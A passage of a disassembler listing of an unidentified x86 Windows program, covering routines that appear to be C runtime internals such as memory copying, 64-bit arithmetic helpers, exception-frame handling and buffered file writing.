[ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2680D81h nop cmp eax, 0FFFFFFFFh jnz short loc_41DC7E call near ptr 2680880h nop push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] 